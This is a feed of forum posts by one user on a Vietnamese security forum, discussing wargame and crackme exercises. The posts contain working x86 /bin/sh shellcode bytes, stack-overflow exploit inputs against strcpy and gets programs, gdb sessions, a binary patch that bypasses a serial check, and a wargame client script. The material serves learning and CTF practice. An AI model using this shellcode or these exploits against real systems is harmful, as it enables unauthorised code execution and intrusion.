<![CDATA[Messages posted by "Cognac"]]> /hvaonline/posts/listByUser/176833.html JForum - http://www.jforum.net Re: Tìm lỗi và khai thác

StarGhost wrote:
Tớ là newbie nên còn đang mày mò nghịch ngợm. Có phải source đại khái là thế này không? Code:
int doit(char *str)
{
	strcpy((char *)((int)&str - 16), str);
	printf("%s\n", (char *)((int)&str - 16));
	return 0;
}

int main(int argc, char *argv[])
{
	if (strlen(argv[1]) > 8)
		*(argv[1] + 8) = 0;
	doit(argv[1]);
	return 0;
}
 
@StarGhost: Cậu reverse tương đối chuẩn, tuy nhiên theo mình thì ko có return 0 ở hàm doit. Anyway, cậu đã reverse code được rồi thì chạy dùm tớ cái này và giải thích hộ tớ Máy tớ là
$ gdb ./exploitme1 GNU gdb 6.6-debian Copyright (C) 2006 Free Software Foundation, Inc. GDB is free software, covered by the GNU General Public License, and you are welcome to change it and/or distribute copies of it under certain conditions. Type "show copying" to see the conditions. There is absolutely no warranty for GDB. Type "show warranty" for details. This GDB was configured as "i486-linux-gnu"... Using host libthread_db library "/lib/tls/i686/cmov/libthread_db.so.1". (gdb) run `python -c 'print "AAAA" + "BBBB" + "C"*497'` Starting program: /home/Cognac/exploitme1 `python -c 'print "AAAA" + "BBBB" + "C"*497'` AAAABBBB Program received signal SIGSEGV, Segmentation fault. 0x42424242 in ?? () 
]]>
/hvaonline/posts/preList/25730/156019.html#156019 /hvaonline/posts/preList/25730/156019.html#156019 GMT
Re: Đánh đố HTML Code:
<?php
    function utf16($str) 
         {
                $utf8 = utf8_encode($str);
                if(function_exists('mb_convert_encoding'))
                 {
                    return mb_convert_encoding($utf8, 'UTF-16', 'UTF-8');
                 } else 
                         {
                        return $str;
                        }
         }
echo "encode ..."."<br>";
  echo utf16($_GET['str']);
echo "<br>";
echo "decode ..."."<br>";
echo mb_convert_encoding(utf16($_GET['str']), 'UTF-8', 'UTF-16')

?>
Ok, chạy thử Code:
http://localhost/test.php?str=aaa
-->
encode ...
a�a�a
decode ...
aaa
Kỹ thuật này liên quan đến lĩnh vực Masking Malware chăng? Nhờ bác lamer và các bạn gợi ý :)]]>
/hvaonline/posts/preList/25580/155139.html#155139 /hvaonline/posts/preList/25580/155139.html#155139 GMT
Re: PullThePlug wargame Code:
import socket
import struct
from struct import *
sock = socket.socket()
sock.connect(('vortex.labs.pulltheplug.org', 5842))
len_int = 4
i = 0
sum = 0
while (i != 4):
 num = unpack('<I',sock.recv(len_int))
 print num[0]
 sum += num[0]
 i += 1

print sum
sock.send(pack('<I',sum))
print sock.recv(1024)
sock.close()
Code:
wargame$ python test1.py 
83808278
183050462
24982680
1273023711
1564865131
Username: vortex1 Password: **********
]]>
/hvaonline/posts/preList/23615/154495.html#154495 /hvaonline/posts/preList/23615/154495.html#154495 GMT
Re: PullThePlug wargame Code:
>>> from struct import *
>>>print unpack('I',in_data)
]]>
/hvaonline/posts/preList/23615/154288.html#154288 /hvaonline/posts/preList/23615/154288.html#154288 GMT
Re: [ Thảo luận ] - Về Shellcode trên linux

Mr.Khoai wrote:
anh mrro, "Bài" này không giới hạn độ dài tối đa ở 30 bytes. Cái khoai đang tìm là một shellcode thật nhỏ. Nhỏ nhất là bao nhiêu thì khoai không biết. Nhưng khoai đã mò được một cái chỉ với 16 bytes, spawn /bin/sh và không bị la lên là "malicious code detected" Cognac, Ủa, cứ tưởng code asm là của bồ viết chứ, sao lại bảo khoai chuyển từ shellcode qua assembly? to all, Bài này làm chơi cho vui. Đừng vướng vào lối mòn khi suy nghĩ. Nghĩ thoáng một chút sẽ tìm được một con shellcode hiệu quả mà kích thước lại nhỏ khoai 
nói chơi một câu mà khó chịu vậy bồ :). Thực tế spawshell trong trường hợp này thì chắc hẳn là bạn khai thác kiểu "local exploit" chứ ko phải "remote exploit" nên thay vì chúng ta mất 10 byte để push chuỗi /bin/sh, thì cất chuỗi đó trong biến môi trường rồi push vào, tiết kiệm được 5 byte. Bồ có chịu kiểu này ko? :)]]>
/hvaonline/posts/preList/25139/152478.html#152478 /hvaonline/posts/preList/25139/152478.html#152478 GMT
Re: [ Thảo luận ] - Về Shellcode trên linux /hvaonline/posts/preList/25139/152262.html#152262 /hvaonline/posts/preList/25139/152262.html#152262 GMT Re: [ Thảo luận ] - Về Shellcode trên linux Code:
python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' >sh3llc0d3
Code:
./testshell sh3llc0d3
your shellcode is less than 30 bytes! 10 bonus points
$
]]>
/hvaonline/posts/preList/25139/152201.html#152201 /hvaonline/posts/preList/25139/152201.html#152201 GMT
Re: [ Thảo luận ] - Về Shellcode trên linux Code:
python -c 'print "\x6a\x31\x58\xcd\x80\x89\xc3\x89\xc1\x6a\x46\x58\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x54\x5b\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"' >input
rồi chạy Code:
./testshell input
PS: strlen(shellcode >30) && strlen(shellcode <50) thì ko được point nào ?? :-/ ]]>
/hvaonline/posts/preList/25139/152189.html#152189 /hvaonline/posts/preList/25139/152189.html#152189 GMT
Re: Vấn đề khi thử exploit hàm gets

mrro wrote:
@Cognac: lúc đó sẽ có hai trường hợp: - có SSP http://www.trl.ibm.com/projects/security/ssp/) hay không? nếu có SSP thì đối với đoạn mã này mặc dù bị lỗi nhưng sẽ kô thể khai thác được, chỉ có làm cho chương trình nó crash thôi. - không có SSP (compile với option -fno-stack-protector), lúc này mã dissasembly của đoạn chương trình trên sẽ như sau:
(gdb) disas main Dump of assembler code for function main: 0x080483a4 <main+0>: lea 0x4(%esp),%ecx 0x080483a8 <main+4>: and $0xfffffff0,%esp 0x080483ab <main+7>: pushl -0x4(%ecx) 0x080483ae <main+10>: push %ebp 0x080483af <main+11>: mov %esp,%ebp 0x080483b1 <main+13>: push %ecx 0x080483b2 <main+14>: sub $0x24,%esp 0x080483b5 <main+17>: movl $0x80484b0,(%esp) 0x080483bc <main+24>: call 0x804830c <printf@plt> 0x080483c1 <main+29>: lea -0xc(%ebp),%eax 0x080483c4 <main+32>: mov %eax,(%esp) 0x080483c7 <main+35>: call 0x80482ec <gets@plt> 0x080483cc <main+40>: lea -0xc(%ebp),%eax 0x080483cf <main+43>: mov %eax,0x4(%esp) 0x080483d3 <main+47>: movl $0x80484c4,(%esp) 0x080483da <main+54>: call 0x804830c <printf@plt> 0x080483df <main+59>: mov $0x0,%eax 0x080483e4 <main+64>: add $0x24,%esp 0x080483e7 <main+67>: pop %ecx 0x080483e8 <main+68>: pop %ebp 0x080483e9 <main+69>: lea -0x4(%ecx),%esp 0x080483ec <main+72>: ret End of assembler dump. 
Hơi khó exploit một chút, nhưng vẫn có thể exploit được. Bồ thử tìm hiểu cách exploit xem, gợi ý: chú ý vào ecx. --m 
Đoạn tô vàng có nghĩa là lấy thanh ghi [ecx] -4, rồi move vào esp và ret??? Vậy thì tui sẽ viết đè lên ecx với địa chị ($ebp+4), sau đó overwrite tiếp lên ebp địa chỉ của shellcode: mrro thử chạy Code:
python -c 'print "A" * 8 + "\xb2\x83\x04\x08" + "\xAA\xBB\XCC\XDD"' | ./vul
Trong đó \xAA\xBB\XCC\XDD là địa chỉ biến môi trường chứa shellcode chẳng hạn. Mô hình stack trong trường hợp này: high mem --------------------------------------------------------> low mem [*argv] [argc ] [eip ] [ %ecx-4 ] [ebp ] [ecx ] [buf[8] ] PS: Tui ko nhớ cách input dạng này trong gdb khi run, bác mrro chỉ tui được ko?]]>
/hvaonline/posts/preList/24349/149739.html#149739 /hvaonline/posts/preList/24349/149739.html#149739 GMT
Re: Chia sẻ những blogs hay http://360.yahoo.com/conmale2000]]> /hvaonline/posts/preList/13767/149535.html#149535 /hvaonline/posts/preList/13767/149535.html#149535 GMT Re: Cho em xin thuật toán giải pt bậc 3 /hvaonline/posts/preList/24649/149072.html#149072 /hvaonline/posts/preList/24649/149072.html#149072 GMT Re: Vấn đề khi thử exploit hàm gets Code:
0x080483a7 <main+3>:	sub    $0x10,%esp
@TaL, mrro: Bạn nói rõ hơn về stack layout của gcc 4.2.x được ko? :). Cụ thể là nếu compile đoạn mã này bằng gcc 4.2 và preferred-stack-boundary=4 thì sẽ exploit thế nào?]]>
/hvaonline/posts/preList/24349/149069.html#149069 /hvaonline/posts/preList/24349/149069.html#149069 GMT
Re: Vấn đề khi thử exploit hàm gets #include <string.h> #include <stdio.h> int main(int argc, char **argv) { char name[8]; printf("What is your name: "); gets(name); printf("Aha, your name is: %s\n",name); return 0; } @Ta  l: Đề nghị bạn đọc kỹ lại đoạn code của bạn xem độ dài buffer là bao nhiêu trước khi tiếp tục :) ]]> /hvaonline/posts/preList/24349/148757.html#148757 /hvaonline/posts/preList/24349/148757.html#148757 GMT Re: Vấn đề khi thử exploit hàm gets /hvaonline/posts/preList/24349/148518.html#148518 /hvaonline/posts/preList/24349/148518.html#148518 GMT Re: Vấn đề khi thử exploit hàm gets /hvaonline/posts/preList/24349/147048.html#147048 /hvaonline/posts/preList/24349/147048.html#147048 GMT Re: [Thảo luận] Phân tích một crackme trên Linux :) http://www.tty64.org/doc/revengwithld.txt]]> /hvaonline/posts/preList/22743/146400.html#146400 /hvaonline/posts/preList/22743/146400.html#146400 GMT Re: [Thảo luận] Phân tích một crackme trên Linux :)

mrro wrote:
Nếu chỉ cần hiện ra "Great work!" thì có cách đơn giản thế này: $ python -c 'print "\x00\x0a\x00\x0a"' | ./small -> Small crackme for Stingduk <- Give me your name (max 50 chars): Pass me the serial (max 50 chars): Great work! 
Trường hợp của bạn mrro là một tình huống đặc biệt của keygen :-/ và \x0a tương đương với "\r\n" :-/ :-/ Nên dùng python để input cái serial của bạn mèo thì cũng có thể làm thế này ? Code:
python -c 'print "meoluoi\x0a9118715\x0a"' |./small
hoặc đặc biệt hơn nữa Code:
python -c 'print "\x00\x20\x00"' |./small
:-/ Còn mình chỉ biết patch :D Code:
$ gdb --write ./small -q
Using host libthread_db library "/lib/libthread_db.so.1".
(gdb) disassemble main
Dump of assembler code for function main:
0x080487bc <main+0>: push %ebp
0x080487bd <main+1>: mov %esp,%ebp
0x080487bf <main+3>: sub $0xe8,%esp
.........................
.........................
0x080488c4 <main+264>: push %eax ; fake serial
0x080488c5 <main+265>: push %edx ; real serial
0x080488c6 <main+266>: call 0x8048668 <strcmp@plt> ;bp here
0x080488cb <main+271>: add $0x10,%esp
0x080488ce <main+274>: test %eax,%eax
0x080488d0 <main+276>: jne 0x80488fa <main+318> ; Nhảy đến Bad boy nếu sai serial, có thể patch tại đây
0x080488d2 <main+278>: sub $0x8,%esp
0x080488d5 <main+281>: push $0x80486d8
---Type <return> to continue, or q <return> to quit---return
0x080488da <main+286>: sub $0xc,%esp
0x080488dd <main+289>: push $0x8048b84 ; Great work!
0x080488e2 <main+294>: push $0x8049db8
0x080488e7 <main+299>: call 0x8048698 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
0x080488ec <main+304>: add $0x14,%esp
0x080488ef <main+307>: push %eax
0x080488f0 <main+308>: call 0x8048658 <_ZNSolsEPFRSoS_E@plt>
0x080488f5 <main+313>: add $0x10,%esp
0x080488f8 <main+316>: jmp 0x8048920 <main+356>
0x080488fa <main+318>: sub $0x8,%esp
0x080488fd <main+321>: push $0x80486d8
0x08048902 <main+326>: sub $0xc,%esp
0x08048905 <main+329>: push $0x8048b90 ; No luck here mate
0x0804890a <main+334>: push $0x8049db8
------
(gdb) x/x *0x080488d0
0xec832875:     Cannot access memory at address 0xec832875
(gdb) set {int} 0x080488d0=0xec832874
(gdb) quit
Code:
$ ./small 
-> Small crackme for Stingduk <-
Give me your name (max 50 chars): hello-world
Pass me the serial (max 50 chars): gudbye-world
Great work!
]]>
/hvaonline/posts/preList/22743/146396.html#146396 /hvaonline/posts/preList/22743/146396.html#146396 GMT